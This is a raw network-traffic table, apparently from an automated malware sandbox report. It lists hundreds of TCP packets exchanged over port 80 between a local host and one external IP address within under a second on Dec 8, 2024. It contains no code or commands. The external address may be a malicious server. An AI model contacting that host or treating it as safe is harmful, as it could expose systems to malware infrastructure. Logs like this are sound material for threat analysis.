Dec 8, 2024 15:38:44.522670031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.522691011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.522705078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.522715092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.522744894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.523809910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.523858070 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.524207115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.524252892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.524965048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.524990082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.525016069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.525036097 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.525999069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.526015043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.526043892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.526057005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.527127981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.527182102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.528304100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.528326988 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.528342009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.528357983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.528381109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.529686928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.529741049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.529922009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.529968023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.530544996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.530567884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.530595064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.530607939 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.531714916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.531774998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.532361984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.532409906 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.532880068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.532895088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.532924891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.532937050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.533947945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.533993006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.534135103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.534182072 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.535438061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.535481930 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.535511971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.535543919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.536236048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.536278963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.536746025 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.536813974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.537432909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.537478924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.537955046 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.538012981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.538636923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.538691998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.538784027 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.538822889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.539828062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.539875031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.540096998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.540138960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.540824890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.540870905 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.541240931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.541282892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.542134047 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.542177916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.542263985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.542301893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.632215023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.632339954 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.632415056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.632810116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.632860899 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.632908106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.634118080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.634167910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.634370089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.635050058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.635096073 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.635189056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.636184931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.636234045 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.636276007 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.636315107 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.637327909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.637721062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.637768030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.638520956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.638786077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.638833046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.639602900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.639776945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.639833927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.640883923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.640897989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.640930891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.640959978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.641863108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.641885042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.641911030 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.643007040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.643028021 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.643035889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.643055916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.643089056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.644169092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.644232035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.644284964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.645337105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.646097898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.646143913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.646419048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.646462917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.646574020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.647119999 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.647712946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.647763968 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.647998095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.648040056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.648698092 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.648741007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.648915052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.648957968 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.649894953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.649939060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.649947882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.651118994 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.651148081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.651185036 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.651252031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.651297092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.652220011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.652234077 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.652264118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.652277946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.653273106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.653322935 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.653357029 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.653392076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.654418945 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.654465914 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.654503107 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.654545069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.655550003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.656024933 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.656081915 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.656709909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.657223940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.657272100 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.657785892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.657831907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.701575041 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.701590061 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.701695919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.701982975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.702205896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.702303886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.703152895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.703279972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.703356028 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.704277039 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.704327106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.704566002 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.705444098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.705502033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.705777884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.706573009 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.706624985 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.706964016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.707007885 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.707739115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.707882881 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.707931042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.708858967 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.709279060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.709326029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.710017920 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.710031986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.710062981 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.710092068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.711126089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.711255074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.711302996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.712752104 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.712773085 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.712814093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.714520931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.714565039 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.714891911 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.715106964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.715352058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.715396881 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.715637922 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.715678930 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.716052055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.716100931 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.716516972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.716559887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.716850996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.716887951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.717443943 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.718240023 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.718290091 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.718461037 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.719104052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.719105959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.719594955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.719629049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.720221996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.720982075 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.721023083 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.721468925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.721482992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.721506119 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.721533060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.723056078 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.723108053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.723176003 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.723211050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.724056005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.724096060 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.724436045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.724477053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.724848032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.724860907 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.724886894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.724900007 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.725919008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.725964069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.726140976 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.726183891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.727051020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.727108002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.727152109 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.728298903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.728343010 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.728910923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.729387999 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.729402065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.729444027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.730783939 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.730798006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.730846882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.731738091 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.731954098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.732007027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.732831955 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.732882023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.732917070 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.734239101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.734253883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.734282017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.735111952 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.825937033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.825974941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.826004982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.826028109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.826383114 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.826433897 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.826464891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.826502085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.827184916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.827227116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.827487946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.827532053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.827584028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.827624083 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.828358889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.828409910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.828423977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.828460932 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.829305887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.829466105 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.829516888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.830333948 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.830507040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.830552101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.831016064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.831062078 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.831156015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.832122087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.832169056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.832254887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.832426071 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.833256006 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.833350897 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.833755016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.833796024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.834327936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.834383965 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.834471941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.834537029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.835470915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.835519075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.835809946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.836601973 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.836643934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.836647034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.837729931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.837773085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.838206053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.838251114 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.839260101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.839303017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.839487076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.839565992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.840353012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.840493917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.840533972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.840590954 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.841209888 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.841233969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.841270924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.841351986 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.842253923 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.842387915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.842433929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.843413115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.843528986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.843586922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.844604015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.845205069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.845438004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.845485926 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.845750093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.845763922 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.845794916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.845828056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.846832991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.846894979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.847559929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.847611904 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.847968102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.848088026 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:44.848514080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:44.848558903 CET	49787	80	192.168.2.6	185.215.113.206
